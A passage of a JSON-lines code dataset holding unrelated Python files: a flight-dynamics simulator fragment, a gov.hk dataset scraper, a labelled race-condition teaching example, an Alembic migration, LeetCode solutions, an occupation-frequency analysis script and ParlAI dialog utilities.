q2, q3, p, q, r = self.Qstate(state)\n        qxDot = 0.5*(q0*p + q2*r - q3*q)\n        return qxDot\n    def QyDot(self, state):\n        q0, q1, q2, q3, p, q, r = self.Qstate(state)\n        qyDot = 0.5*(q0*q - q1*r + q3*p )\n        return qyDot\n    def QzDot(self, state):\n        q0, q1, q2, q3, p, q, r = self.Qstate(state)\n        qzDot = 0.5*(q0*r + q1*q - q2*p)\n        return qzDot\n    \n    def PxDot(self, state):\n        return state[self.Vxi]\n    def PyDot(self, state):\n        return state[self.Vyi]\n    def PzDot(self, state):\n        return state[self.Vzi]\n    \n    def VxDot(self, state):\n        w = self.Planet.RotationRate\n        assert self.TotalMass != 0, \"VxDot mass is 0\"\n        ax = self.QforceEcf.X / self.TotalMass\n        xDot = ax + 2.0 * w * state[self.Vyi] + self.Gx + state[self.Xi] * w**2\n        return xDot\n    def VyDot(self, state):\n        w = self.Planet.RotationRate\n        assert self.TotalMass != 0, \"VyDot mass is 0\"\n        ay = self.QforceEcf.Y / self.TotalMass\n        yDot = ay - 2.0 * w * state[self.Vxi] + self.Gy + state[self.Yi] * w**2 \n        return yDot\n    def VzDot(self, state):\n        assert self.TotalMass != 0, \"VzDot mass is 0\"\n        az = self.QforceEcf.Z / self.TotalMass\n        return (az + self.Gz)\n    \n    def Wstate(self, state):\n        P = state[self.Pi]\n        Q = state[self.Qi]\n        R = state[self.Ri]\n        Jx = self.gvJx\n        Jy = self.gvJy\n        Jz = self.gvJz\n        Jxz = self.gvJxz\n        Gamma = self.Gamma\n        l = self.aeroBodyMoment.X\n        m = self.aeroBodyMoment.Y\n        n = self.aeroBodyMoment.Z\n        return P, Q, R, Jx, Jy, Jz, Jxz, Gamma, l, m, n\n    def Pdot(self, state):\n        P, Q, R, Jx, Jy, Jz, Jxz, Gamma, l, m, n = self.Wstate(state)\n        assert Gamma != 0, \"Pdot Gamma is 0\"\n        pDot = (Jxz * (Jx - Jy + Jz)*P*Q - (Jz*(Jz - Jy) + Jxz*Jxz)*Q*R + Jz*l + Jxz*n) / Gamma\n        return pDot\n    def Qdot(self, state):\n        P, Q, R, Jx, Jy, Jz, Jxz, Gamma, l, m, n = self.Wstate(state)\n        assert Jy != 0.0, \"Qdot Jy is 0\"\n        qDot = ((Jz - Jx)*P*R - Jxz*(P*P - R*R) + m) / Jy\n        return qDot\n    def Rdot(self, state):\n        P, Q, R, Jx, Jy, Jz, Jxz, Gamma, l, m, n = self.Wstate(state)\n        assert Gamma != 0.0, \"Rdot Gamma is 0\"\n        rDot = (((Jx - Jy)*Jx + Jxz*Jxz)*P*Q - Jxz*(Jx - Jy + Jz)*Q*R + Jxz*l + Jx*n) / Gamma\n        return rDot\n    \n    def Reset(self, ic):\n        self.ResetSimulation(ic)\n        \n        self.RotationAngle = 0\n        \n        self.Planet.Latitude = self.SetValue(\"latitude\")\n        self.Planet.Longitude = self.SetValue(\"longitude\")\n        self.Planet.Altitude = self.SetValue(\"altitudeMsl\")\n        [x, y, z] = self.Planet.LlaToPcpf()\n        self.Position.X = x\n        self.Position.Y = y\n        self.Position.Z = z\n        \n        # initialize the frd/ecf quaternion\n        roll  = self.BodyAngle.X\n        pitch = self.BodyAngle.Y\n        yaw   = self.BodyAngle.Z\n        lat = self.Planet.Latitude\n        lon = self.Planet.Longitude\n        self.Qe2b.SetQfrdWrtEcf(roll , pitch , yaw, lat, lon)\n        \n        # transform u,v,w to ECEF velocities\n        Vecf = Vector3(0,0,0)\n        Vecf = self.Qe2b * self.BodyVelocity * ~self.Qe2b\n        \n        self.Xdot.clear()\n        self.Xdot = [self.QnDot, self.QxDot, self.QyDot, self.QzDot,\n                     self.PxDot, self.PyDot, self.PzDot,\n                     self.VxDot, self.VyDot, self.VzDot,\n                     self.Pdot, self.Qdot, self.Rdot] \n        \n        self.X[self.Qni] = self.Qe2b.N\n        self.X[self.Qxi] = self.Qe2b.X\n        self.X[self.Qyi] = self.Qe2b.Y\n        self.X[self.Qzi] = self.Qe2b.Z\n        \n        self.X[self.Xi] = self.Position.X\n        self.X[self.Yi] = self.Position.Y\n        self.X[self.Zi] = self.Position.Z\n        \n        self.X[self.Vxi] = Vecf.X\n        self.X[self.Vyi] = Vecf.Y\n        self.X[self.Vzi] = Vecf.Z\n        print(\"Vecf: \", Vecf.X, Vecf.Y, Vecf.Z)\n        \n        self.X[self.Pi] = self.BodyAngularRate.X\n        self.X[self.Qi] = self.BodyAngularRate.Y\n        self.X[self.Ri] = self.BodyAngularRate.Z\n        \n    def Operate(self):\n        # create quaternions\n \n        # TODO: need a check case the Q rotations\n        # set q frd/ecf (e2b) ECF to body\n        self.Qe2b.N = self.X[self.Qni]\n        self.Qe2b.X = self.X[self.Qxi]\n        self.Qe2b.Y = self.X[self.Qyi]\n        self.Qe2b.Z = self.X[self.Qzi]\n        \n        # set q ned/ecf (e2n) ECF to NED\n        self.Qe2n.SetLatLon(self.Planet.Latitude, self.Planet.Longitude)\n        \n        # set q frd/ned (n2b) NED to body\n        self.Qn2b = ~self.Qe2n * self.Qe2b\n        \n        # get the euler angles from the quaternion\n        [roll, pitch, yaw] = self.Qn2b.EulerAnglesFromQ()\n        \n        # rotate the ECF position to ECI to get the inertial position\n        self.Qi2e.SetPlanetRotation(self.RotationAngle)\n        qgePosition = Quaternion( 0, self.X[self.Xi], self.X[self.Yi], self.X[self.Zi] )\n        qeiPosition = self.Qi2e * qgePosition * ~self.Qi2e\n        \n        # save output data\n        self.RecData.Add('altitudeMsl_m', self.Planet.Altitude)\n        self.RecData.Add('latitude_rad', self.Planet.Latitude)\n        self.RecData.Add('longitude_rad', self.Planet.Longitude)\n        self.RecData.Add('gePosition_m_X', self.X[self.Xi])\n        self.RecData.Add('gePosition_m_Y', self.X[self.Yi])\n        self.RecData.Add('gePosition_m_Z', self.X[self.Zi])\n        self.RecData.Add('eulerAngle_rad_Roll', roll)\n        self.RecData.Add('eulerAngle_rad_Pitch', pitch)\n        self.RecData.Add('eulerAngle_rad_Yaw', yaw)\n        self.RecData.Add('trueAirspeed_m_s', self.TrueAirspeed)\n        self.RecData.Add('eiPosition_m_X', qeiPosition.X)\n        self.RecData.Add('eiPosition_m_Y', qeiPosition.Y)\n        self.RecData.Add('eiPosition_m_Z', qeiPosition.Z)\n        \n        # get earth rotation in the body frame\n        wEarthFrd = ~self.Qe2b * self.EarthRotation * self.Qe2b\n        \n        # set the Earth rotation in the body frame\n        self.Per = wEarthFrd.X\n        self.Qer = wEarthFrd.Y\n        self.Rer = wEarthFrd.Z\n        \n        x = self.X[self.Xi]\n        y = self.X[self.Yi]\n        z = self.X[self.Zi]\n        [self.Gx, self.Gy, self.Gz] = self.Planet.GravityJ2( x, y, z )\n        g = Vector3(self.Gx, self.Gy, self.Gz)\n        self.RecData.Add('localGravity_m_s2', g.Magnitude())\n\n        # integrate the equations\n        self.X = self.Integrator.RungeKutta4(self.timeStep, self.Xdot, self.X)\n        \n        # advance time and set up for next integration\n        self.AdvanceTime()\n        \n        # Compute the aerodynamic loads from the DAVE-ML model\n        #  set the DAVE-ML model inputs\n        vel = Vector3(self.X[self.Vxi], self.X[self.Vyi], self.X[self.Vzi])\n        self.TrueAirspeed = vel.Magnitude()\n        assert self.TrueAirspeed != 0, \"TrueAirspeed is 0 to model\"\n        # calculate alpha and beta\n        uvw = ~self.Qe2b * vel * self.Qe2b\n        self.Data[\"angleOfAttack\"] = math.atan2(uvw.Z, uvw.X)\n        self.Data[\"angleOfSideslip\"] = math.atan2(uvw.Y, math.sqrt(uvw.X**2 + uvw.Z**2))\n        self.Data[\"trueAirspeed\"] = self.TrueAirspeed * self.MeterToFeet\n        self.Data[\"bodyAngularRate_Roll\"] = self.X[self.Pi]\n        self.Data[\"bodyAngularRate_Pitch\"] = self.X[self.Qi]\n        self.Data[\"bodyAngularRate_Yaw\"] = self.X[self.Ri]\n        self.EvaluateAeroModel()\n        \n        # get dynamic pressure:  q = 1/2 rho v^2\n        dynamicPressure = (\n            self.Planet.DynamicPressure(self.Planet.Altitude, self.TrueAirspeed)\n        )\n        self.RecData.Add('speedOfSound_m_s', self.Planet.speedOfSoundMps)\n\n        # Get the qS factor for getting dimensional forces and moments\n        qS = dynamicPressure * self.ReferenceWingArea\n        \n        # compute the aero forces in the body frame\n        self.CalcAeroBodyForces(qS)\n        \n        # rotate body forces to the ECEF frame\n        self.QforceEcf = self.Qe2b * self.aeroBodyForce * ~self.Qe2b\n        \n        # calculate the dimensional aero moments\n        self.CalcAeroBodyMoments(qS)\n        \n        # update the latitude, longitude and altitude from ECEF X, Y, Z position\n        self.Planet.PcpfToLlaZhu(self.X[self.Xi], self.X[self.Yi], self.X[self.Zi])\n        \n        # rotate the earth\n        self.RotationAngle = self.Planet.RotationRate * self.Time\n","repo_name":"TreyArthur/Pierpont","sub_path":"pierpont/ppont.py","file_name":"ppont.py","file_ext":"py","file_size_in_byte":94291,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"12142619958","text":"# -*- coding: utf-8 -*-\n# GovHK Data.One Datasets Scraper\n# Sammy Fung <sammy@sammy.hk>\nimport scrapy\nimport re\nfrom govhk_dataone.items import GovhkDataoneItem\n\nclass DataoneSpider(scrapy.Spider):\n    name = \"dataone\"\n    allowed_domains = [\"gov.hk\"]\n    start_urls = (\n        'http://www.gov.hk/en/theme/psi/datasets/',\n    )\n\n    def parse(self, response):\n      #response.xpath(\"//span[contains(@class, 'dataName')]/a/text()\").extract()\n      for i in response.xpath(\"//span[contains(@class, 'dataName')]/a/@href\").extract():\n        yield scrapy.Request(\"http://www.gov.hk%s\"%i, callback=self.parse_dataset)\n\n    def parse_dataset(self, response):\n      lastUpdate = response.xpath(\"//p[contains(@id, 'lastUpdate')]/text()\")[0].extract()\n      lastUpdate = re.sub('^.*date: ', '', lastUpdate)\n      datasetTitle = response.xpath(\"//meta[contains(@name, 'description')]/@content\").extract()[0]\n      datasetDatetime = response.xpath(\"//meta[contains(@name, 'date')]/@content\").extract()[0]\n      for dataset in response.xpath(\"//tr[contains(@class, 'odd')]/td/a\"):\n        item = GovhkDataoneItem()\n        item['datasetUrl'] = dataset.xpath(\"@href\").extract()[0]\n        item['datasetTitle'] = datasetTitle\n        item['datasetType'] = dataset.xpath(\"@title\").extract()[0]\n        item['lastUpdate'] = lastUpdate\n        item['lastupdateDatetime'] = datasetDatetime\n        item['sourceUrl'] = response.url\n        yield item\n","repo_name":"sammyfung/govhk-dataone-scraper","sub_path":"govhk_dataone/govhk_dataone/spiders/dataone.py","file_name":"dataone.py","file_ext":"py","file_size_in_byte":1433,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"21"}
+{"seq_id":"43667233070","text":"\"\"\"Bad multiprocessing, without lock.\n\nThe total might be different on different runs.\n\"\"\"\nimport time\nimport multiprocessing\n\n\ndef deposit(balance):\n    for i in range(100):\n        time.sleep(0.01)\n        balance.value = balance.value + 1\n\n\ndef withdraw(balance):\n    for i in range(100):\n        time.sleep(0.01)\n        balance.value = balance.value - 1\n\n\nif __name__ == '__main__':\n    NUM_RUNS = 20\n    profit_values = []\n    currency = 'gold bars'\n    print('The output should always be 200 {}, but sometimes it will be wrong.'.format(currency))\n    print('The program will now run {} times...'.format(NUM_RUNS))\n    for _ in range(NUM_RUNS):\n        balance = multiprocessing.Value('i', 200)\n        d = multiprocessing.Process(target=deposit, args=(balance,))\n        w = multiprocessing.Process(target=withdraw, args=(balance,))\n\n        d.start()\n        w.start()\n\n        d.join()\n        w.join()\n\n        if balance.value == 200:\n            print('balance value is {}'.format(balance.value))\n        else:\n            off_by = balance.value-200\n            profit_values.append(off_by)\n            print('balance value is {} (ERROR: your bank account is off by {} {})'.format(balance.value, off_by, currency))\n    profit = sum(profit_values)\n    print('your bank account is now off by {} {}.'.format(profit, currency))\n","repo_name":"j127/python_tutorials","sub_path":"python_multiprocess/05_multiprocessing_lock_BAD_WAY.py","file_name":"05_multiprocessing_lock_BAD_WAY.py","file_ext":"py","file_size_in_byte":1336,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"32150995979","text":"\"\"\"empty message\n\nRevision ID: d5add345c871\nRevises: 62ccd4610de8\nCreate Date: 2022-09-26 06:17:25.327976\n\n\"\"\"\nfrom alembic import op\nimport sqlalchemy as sa\n\n\n# revision identifiers, used by Alembic.\nrevision = 'd5add345c871'\ndown_revision = '62ccd4610de8'\nbranch_labels = None\ndepends_on = None\n\n\ndef upgrade():\n    # ### commands auto generated by Alembic - please adjust! ###\n    op.drop_constraint('popular_user_key', 'popular', type_='unique')\n    op.drop_column('popular', 'user')\n    # ### end Alembic commands ###\n\n\ndef downgrade():\n    # ### commands auto generated by Alembic - please adjust! ###\n    op.add_column('popular', sa.Column('user', sa.VARCHAR(), autoincrement=False, nullable=False))\n    op.create_unique_constraint('popular_user_key', 'popular', ['user'])\n    # ### end Alembic commands ###\n","repo_name":"dcambur/FAF-191-PAD","sub_path":"game_stat/migrations/versions/d5add345c871_.py","file_name":"d5add345c871_.py","file_ext":"py","file_size_in_byte":815,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"72828329654","text":"#创建一个列表\nLists = [\"country\",\"city\",\"language\",\"hello\",\"custom\",\"music\",\"book\",\"computer\",\"mountain\",\"sub\"]\n#在列表末尾添加一个元素\nLists.append(\"add\")\n#在指定位置插入一个元素\nLists.insert(0,\"river\")\n#del 删除一个元素\ndel Lists[-2]\n#pop弹出一个最后元素\nLists.pop()\n#pop弹出第五个元素\nLists.pop(4)\n#删除列表中的元素computer\nLists.remove(\"computer\")\n#打印列表\nprint(Lists)\n#获取列表的长度并打印\nprint(len(Lists))\n#按字母顺序进行��打印\nprint(sorted(Lists))\n#将列表进行永久性排序\nLists.sort()\n#逆向排序\nLists.reverse()\n#将列表输出\nprint(Lists)\n\n\n\n\n","repo_name":"leexiulian/learn-python","sub_path":"conprehensive.py","file_name":"conprehensive.py","file_ext":"py","file_size_in_byte":648,"program_lang":"python","lang":"zh","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"12759953441","text":"class TrieNode:\n    def __init__(self):\n        self.next = {}\n        self.isEnd = False \n        \nclass WordFilter:\n\n    def __init__(self, words: List[str]):\n        self.root = TrieNode()\n        self.indexMap = {word:i for i, word in enumerate(words)}\n        for word in words:\n            self.add(\"#\" + word, self.root)\n            for i in range(len(word)):\n                self.add(word[-i:] + \"#\" + word, self.root)\n        \n    def add(self, word, root):\n        cur = root\n        for ch in word:\n            if ch not in cur.next:\n                cur.next[ch] = TrieNode()\n            cur = cur.next[ch]    \n        cur.isEnd = True         \n        \n    def dfs_findLongest(self, cur, path):\n        if cur.isEnd: \n            return self.indexMap[\"\".join(path)]\n        res = -1\n        for ch in cur.next:\n            path.append(ch)\n            res = max(res, self.dfs_findLongest(cur.next[ch], path) )\n            path.pop() \n        return res \n    def f(self, prefix: str, suffix: str) -> int:\n        \n        cur = self.root\n        for ch in suffix:\n            if ch not in cur.next:\n                return -1\n            cur = cur.next[ch]\n        if \"#\" not in cur.next:\n            return -1\n        \n        cur = cur.next[\"#\"]    \n        for ch in prefix: \n            if ch not in cur.next:\n                return -1\n            cur = cur.next[ch]    \n            \n        path = [prefix]    \n        return self.dfs_findLongest(cur, path)\n    \n# Your WordFilter object will be instantiated and called as such:\n# obj = WordFilter(words)\n# param_1 = obj.f(prefix,suffix)\n","repo_name":"YohansHailu/competitive_programming","sub_path":"trie/prefix-and-suffix-search.py","file_name":"prefix-and-suffix-search.py","file_ext":"py","file_size_in_byte":1602,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"35088769366","text":"import pandas as pd\nimport numpy as np\nfrom map_soc import soc_names\n\ndef find_frequency_by_soc(mentions_file, frequency_file, soc_frequency_file):\n    print(\"reading mentions\")\n    mentions_df = pd.read_csv(mentions_file, index_col=None, dtype={\"soc_code\":str, \"soc_name\":str})\n    frequency_df = pd.read_csv(frequency_file, index_col=None)\n    \n    print(\"finding soc frequency\")\n    map_df = mentions_df[[\"profession\",\"no_pos_sense\",\"soc_code\",\"soc_name\"]].dropna(subset=[\"soc_code\"]).drop_duplicates()\n    merge_frequency_df = frequency_df.merge(map_df, on=[\"profession\",\"no_pos_sense\"])\n    \n    records = []\n    years = frequency_df.columns[2:]\n\n    for i in range(23):\n        soc_code = str(11 + 2*i)\n        soc_name = soc_names[i]\n        record = [soc_code, soc_name] + merge_frequency_df.loc[merge_frequency_df.soc_code.str.contains(soc_code), years].sum().values.tolist()\n        records.append(record)\n\n    record = [\"100\", \"STEM\"] + merge_frequency_df.loc[merge_frequency_df.soc_code.str.match(\"(15)|(17)|(19)|(29)\") | merge_frequency_df.no_pos_sense.str.match(\"(doctor.n.04)\"), years].sum().values.tolist()\n    records.append(record)\n\n    soc_frequency_df = pd.DataFrame(records, columns=[\"soc_code\",\"soc_name\"] + years.tolist())\n\n    print(\"saving soc frequency file\")\n    soc_frequency_df.to_csv(soc_frequency_file, index=False)\n\nif __name__ == \"__main__\":\n    # find_frequency_by_soc(\"data/mentions/mentions.word_filtered.sense_filtered.soc_mapped.merged.csv\", \"data/mentions/frequency.csv\", \"data/analysis_data/soc_frequency.csv\")\n    # find_frequency_by_soc(\"data/mentions/mentions.word_filtered.sense_filtered.soc_mapped.merged.csv\", \"data/mentions/frequency.sample.csv\", \"data/analysis_data/soc_frequency.sample.csv\")\n    # find_frequency_by_soc(\"data/mentions/mentions.word_filtered.sense_filtered.soc_mapped.merged.csv\", \"data/mentions/frequency.cutoff.csv\", \"data/analysis_data/soc_frequency.cutoff.csv\")\n    find_frequency_by_soc(\"data/mentions/mentions.word_filtered.sense_filtered.soc_mapped.merged.csv\", \"data/mentions/frequency.year.csv\", \"data/analysis_data/soc_frequency.year.csv\")","repo_name":"sabyasachee/mica-profession","sub_path":"plos/src/find_frequency_by_soc.py","file_name":"find_frequency_by_soc.py","file_ext":"py","file_size_in_byte":2114,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"21"}
+{"seq_id":"69905372532","text":"'''Given the head of a linked list, return the node where the cycle begins. If there is no cycle, return null.'''\n\n# Definition for singly-linked list.\nclass ListNode:\n    def __init__(self, x):\n        self.val = x\n        self.next = None\n\nclass Solution:\n    def detectCycle(self, head: ListNode):\n        # initiate fast and slow pointer both starting at head\n        fast, slow = head, head\n        # while there is a fast and a fast's next...\n        while fast and fast.next:\n            # check if a cycle exists\n            fast = fast.next.next\n            slow = slow.next\n            # if cycle, store the value they met up at\n            if slow == fast:\n                break\n        # no cycle so return None\n        else:\n            return None\n        \n        # now we check for the node where cycle starts\n        # set another pointer to start again at the head\n        pointer = head\n        # move both pointer and fast one node at a time til they match\n        while pointer != fast:\n            pointer = pointer.next \n            fast = fast.next\n        # once out of that while loop, we should have the cycle starter node\n        return pointer\n\n    \n# Space = O(1)","repo_name":"lisamqy/algorithms","sub_path":"LinkedLists/LinkedListCycleII.py","file_name":"LinkedListCycleII.py","file_ext":"py","file_size_in_byte":1193,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"41009448432","text":"from collections import deque\nimport math\nimport os\nimport random\nimport time\n\n\ndef maintain_dialog_history(history, observation, reply='',\n                            historyLength=1, useReplies='label_else_model',\n                            dict=None, useStartEndIndices=True,\n                            splitSentences=False):\n    \"\"\"Keeps track of dialog history, up to a truncation length.\n    Either includes replies from the labels, model, or not all using param 'replies'.\"\"\"\n\n    def parse(txt, splitSentences):\n        if dict is not None:\n            if splitSentences:\n                vec = [dict.txt2vec(t) for t in txt.split('\\n')]\n            else:\n                vec = dict.txt2vec(txt)\n            return vec\n        else:\n            return [txt]\n\n    if 'dialog' not in history:\n        history['dialog'] = deque(maxlen=historyLength)\n        history['episode_done'] = False\n        history['labels'] = []\n\n    if history['episode_done']:\n        history['dialog'].clear()\n        history['labels'] = []\n        useReplies = 'none'\n        history['episode_done'] = False\n\n    if useReplies != 'none':\n        if useReplies == 'model' or (useReplies == 'label_else_model' and\n                                     len(history['labels']) == 0):\n            if reply:\n                history['dialog'].extend(parse(reply, splitSentences))\n        elif len(history['labels']) > 0:\n            r = history['labels'][0]\n            history['dialog'].extend(parse(r, splitSentences))\n\n    obs = observation\n    if 'text' in obs:\n        if useStartEndIndices:\n            obs['text'] = dict.end_token + ' ' + obs['text']\n        history['dialog'].extend(parse(obs['text'], splitSentences))\n\n    history['episode_done'] = obs['episode_done']\n\n    labels = obs.get('labels', obs.get('eval_labels', None))\n    if labels is not None:\n        if useStartEndIndices:\n            history['labels'] = [dict.start_token + ' ' + l for l in labels]\n        else:\n            history['labels'] = labels\n\n    return history['dialog']\n\n\ndef load_cands(path, lines_have_ids = False, cands_are_replies = False):\n    \"\"\"Load global fixed set of candidate labels that the teacher provides\n    every example (the true labels for a specific example are also added to\n    this set, so that it's possible to get the right answer).\n    \"\"\"\n    if path is None:\n        return None\n    cands = []\n    cnt = 0\n    with open(path) as read:\n        for line in read:\n            line = line.strip().replace('\\\\n', '\\n')\n            if len(line) > 0:\n                cnt = cnt + 1\n                # If lines are numbered we strip them of numbers.\n                if cnt == 1 and line[0:2] == '1 ':\n                    lines_have_ids = True\n                # If tabs then the label_candidates are all the replies.\n                if '\\t' in line and not cands_are_replies:\n                    cands_are_replies = True\n                    cands = []\n                if lines_have_ids:\n                    space_idx = line.find(' ')\n                    line = line[space_idx + 1:]\n                    if cands_are_replies:\n                        sp = line.split('\\t')\n                        if len(sp) > 1 and sp[1] != '':\n                            cands.append(sp[1])\n                    else:\n                        cands.append(line)\n                else:\n                    cands.append(line)\n    return cands\n\n\nclass Predictor(object):\n    \"\"\"Provides functionality for setting up a running version of a model and\n    requesting predictions from that model on live data.\n\n    Note that this maintains no World state (does not use a World), merely\n    providing the observation directly to the model and getting a response.\n\n    This is limiting when it comes to certain use cases, but is\n    \"\"\"\n\n    def __init__(self, args=None, **kwargs):\n        \"\"\"Initializes the predictor, setting up opt automatically if necessary.\n\n        Args is expected to be in the same format as sys.argv: e.g. a list in\n        the form ['--model', 'seq2seq', '-hs', 128, '-lr', 0.5].\n\n        kwargs is interpreted by appending '--' to it and replacing underscores\n        with hyphens, so 'dict_file=/tmp/dict.tsv' would be interpreted as\n        '--dict-file /tmp/dict.tsv'.\n        \"\"\"\n        from parlai.core.params import ParlaiParser\n        from parlai.core.agents import create_agent\n\n        if args is None:\n            args = []\n        for k, v in kwargs.items():\n            args.append('--' + str(k).replace('_', '-'))\n            args.append(str(v))\n        parser = ParlaiParser(True, True)\n        self.opt = parser.parse_args(args)\n        self.agent = create_agent(self.opt)\n\n    def predict(self, observation):\n        \"\"\"From a ParlAI-standard observation dict, returns a prediction from\n        the model.\n        \"\"\"\n        if 'episode_done' not in observation:\n            observation['episode_done'] = True\n        self.agent.observe(observation)\n        reply = self.agent.act()\n        return reply\n\n\nclass Timer(object):\n    \"\"\"Computes elapsed time.\"\"\"\n    def __init__(self):\n        self.running = True\n        self.total = 0\n        self.start = time.time()\n\n    def reset(self):\n        self.running = True\n        self.total = 0\n        self.start = time.time()\n        return self\n\n    def resume(self):\n        if not self.running:\n            self.running = True\n            self.start = time.time()\n        return self\n\n    def stop(self):\n        if self.running:\n            self.running = False\n            self.total += time.time() - self.start\n        return self\n\n    def time(self):\n        if self.running:\n            return self.total + time.time() - self.start\n        return self.total\n\n\nclass TimeLogger():\n    def __init__(self):\n        self.timer = Timer()\n        self.tot_time = 0\n\n    def total_time(self):\n        return self.tot_time\n\n    def time(self):\n        return self.timer.time()\n\n    def log(self, done, total, report={}):\n        self.tot_time += self.timer.time()\n        self.timer.reset()\n        log = {}\n        log['exs'] = done\n        if total > 0:\n            log['%done'] = done / total\n            if log[\"%done\"] > 0:\n                log['time_left'] = str(int(self.tot_time / log['%done'] - self.tot_time)) + 's'\n            z = '%.2f' % ( 100*log['%done'])\n            log['%done'] = str(z) + '%'\n        for k, v in report.items():\n            if k not in log:\n                log[k] = v\n        text = str(int(self.tot_time)) + \"s elapsed: \" + str(log)\n        return text, log\n\nclass AttrDict(dict):\n    \"\"\"Helper class to have a dict-like object with dot access.\n\n    For example, instead of `d = {'key': 'value'}` use\n    `d = AttrDict(key='value')`.\n    To access keys, instead of doing `d['key']` use `d.key`.\n\n    While this has some limitations on the possible keys (for example, do not\n    set the key `items` or you will lose access to the `items()` method), this\n    can make some code more clear.\n    \"\"\"\n    def __init__(self, *args, **kwargs):\n        super().__init__(*args, **kwargs)\n        self.__dict__ = self\n\n\ndef round_sigfigs(x, sigfigs=4):\n    try:\n        if x == 0:\n            return 0\n        return round(x, -math.floor(math.log10(abs(x)) - sigfigs + 1))\n    except (RuntimeError, TypeError):\n        # handle 1D torch tensors\n        # if anything else breaks here please file an issue on Github\n        if hasattr(x, 'item'):\n            return round_sigfigs(x.item(), sigfigs)\n        else:\n            return round_sigfigs(x[0], sigfigs)\n    except (ValueError, OverflowError) as ex:\n        if x in [float('inf'), float('-inf')] or x != x:  # inf or nan\n            return x\n        else:\n            raise ex\n\n\ndef flatten(teacher, context_length=-1, include_labels=True):\n    \"\"\"Return a flattened version of a teacher's data where all episodes only\n    have length one but contain the desired amount of context.\n\n    If context_length is not -1, will use only that many past utterances.\n    Default is -1. Setting it to one only uses the input text.\n\n    If include_labels is True, will include a random label in past utterances.\n    Default is True.\n    \"\"\"\n    data = []\n    current = []\n    episode_done = False\n    context_length = context_length if context_length >= 0 else None\n    context = deque(maxlen=context_length)\n    try:\n        while not teacher.epoch_done():\n            # collect examples in episode\n            while not episode_done:\n                action = teacher.act()\n                current.append(action)\n                episode_done = action['episode_done']\n\n            # build separate episodes from each example\n            for ex in current:\n                context.append(ex.get('text', ''))\n                if len(context) != 1:\n                    ex['text'] = '\\n'.join(context)\n                ex['episode_done'] = True\n                if include_labels:\n                    # add labels to context\n                    labels = ex.get('labels', ex.get('eval_labels'))\n                    if labels is not None:\n                        context.append(random.choice(labels))\n                data.append(ex)\n            # reset flags and content\n            episode_done = False\n            current.clear()\n            context.clear()\n        return data\n    except MemoryError as ex:\n        raise MemoryError('Ran out of memory building flattened data batches. '\n                          'Try using --context-length set to a small value to '\n                          'limit the length of each flattened example, '\n                          'disabling batch sorting / flattening by setting '\n                          '--batch-sort false, or switching to data streaming '\n                          'using --datatype {type}:stream to read from disk '\n                          'if it is supported for your dataset.')\n\n\ndef sort_data(data, key='text_label', method='spaces'):\n    \"\"\"Given a list of data, sort it according to the method and key.\n\n    Currently the only supported method is counting the number of spaces.\n    This appeared to be reliable enough and much faster than tokenizing.\n    It performs much better than just using the length of the string.\n\n    Currently the only supported key is sorting by first the text, then the\n    label.\n    See https://arxiv.org/abs/1706.05765 for an evaluation of alternative\n    approaches for machine translation.\n    Sorting by the source (text) gives a good improvement in speed over random\n    batching and is robust to different types of optimization.\n    Breaking ties by sorting by label length gives a further improvement in\n    speed but can reduce robustness with some optimization schemes.\n    \"\"\"\n    # TODO: support different keys and different methods\n    tpls = []\n    for ex in data:\n        # first sort by input length\n        fst = ex.get('text', '').count(' ')\n\n        # then sort by target length (don't sort by eval_labels, no need)\n        snd = 0\n        labels = ex.get('labels', None)\n        if labels is not None:\n            # use average label length (probably just one answer usually)\n            snd = sum(l.count(' ') for l in labels) / len(labels)\n\n        tiebreaker = random.random()\n        tpls.append((fst, snd, tiebreaker, ex))\n    tpls.sort()\n    return [e[-1] for e in tpls]\n\n\ndef make_batches(data, bsz):\n    \"\"\"Return a list of lists of size bsz given a list of examples.\"\"\"\n    return [data[i:i + bsz] for i in range(0, len(data), bsz)]\n\n\nclass NoLock(object):\n    \"\"\"Empty `lock`. Does nothing when you enter or exit.\"\"\"\n    def __enter__(self):\n        return self\n    def __exit__(self, exc_type, exc_value, exc_traceback):\n        pass\n\n\nsingle_nolock = NoLock()\ndef no_lock():\n    \"\"\"Builds a nolock for other classes to use for no-op locking.\"\"\"\n    return single_nolock\n\n\nclass ProgressLogger(object):\n    \"\"\"\n    Throttles and display progress in human readable form.\n    Default throttle speed is 1 sec\n    \"\"\"\n    def __init__(self, throttle=1, should_humanize=True):\n        self.latest = time.time()\n        self.throttle_speed = throttle\n        self.should_humanize = should_humanize\n\n    def humanize(self, num, suffix='B'):\n        if num < 0:\n            return num\n        for unit in ['', 'Ki', 'Mi', 'Gi', 'Ti', 'Pi', 'Ei', 'Zi']:\n            if abs(num) < 1024.0:\n                return \"%3.1f%s%s\" % (num, unit, suffix)\n            num /= 1024.0\n        return \"%.1f%s%s\" % (num, 'Yi', suffix)\n\n    def log(self, curr, total, width=40, force=False):\n        \"\"\"Displays a bar showing the current progress.\"\"\"\n        if curr == 0 and total == -1:\n            print('[ no data received for this file ]', end='\\r')\n            return\n        curr_time = time.time()\n        if not force and curr_time - self.latest < self.throttle_speed:\n            return\n        else:\n            self.latest = curr_time\n\n        self.latest = curr_time\n        done = min(curr * width // total, width)\n        remain = width - done\n\n        if self.should_humanize:\n            curr = self.humanize(curr)\n            total = self.humanize(total)\n\n        progress = '[{}{}] {} / {}'.format(\n            ''.join(['|'] * done),\n            ''.join(['.'] * remain),\n            curr,\n            total\n        )\n        print(progress, end='\\r')\n\n\nclass PaddingUtils(object):\n    \"\"\"\n    Class that contains functions that help with padding input and target tensors.\n    \"\"\"\n    @classmethod\n    def pad_text(cls, observations, dictionary, end_idx=None, null_idx=0, dq=False, eval_labels=True, truncate=None):\n        \"\"\"We check that examples are valid, pad with zeros, and sort by length\n           so that we can use the pack_padded function. The list valid_inds\n           keeps track of which indices are valid and the order in which we sort\n           the examples.\n           dq 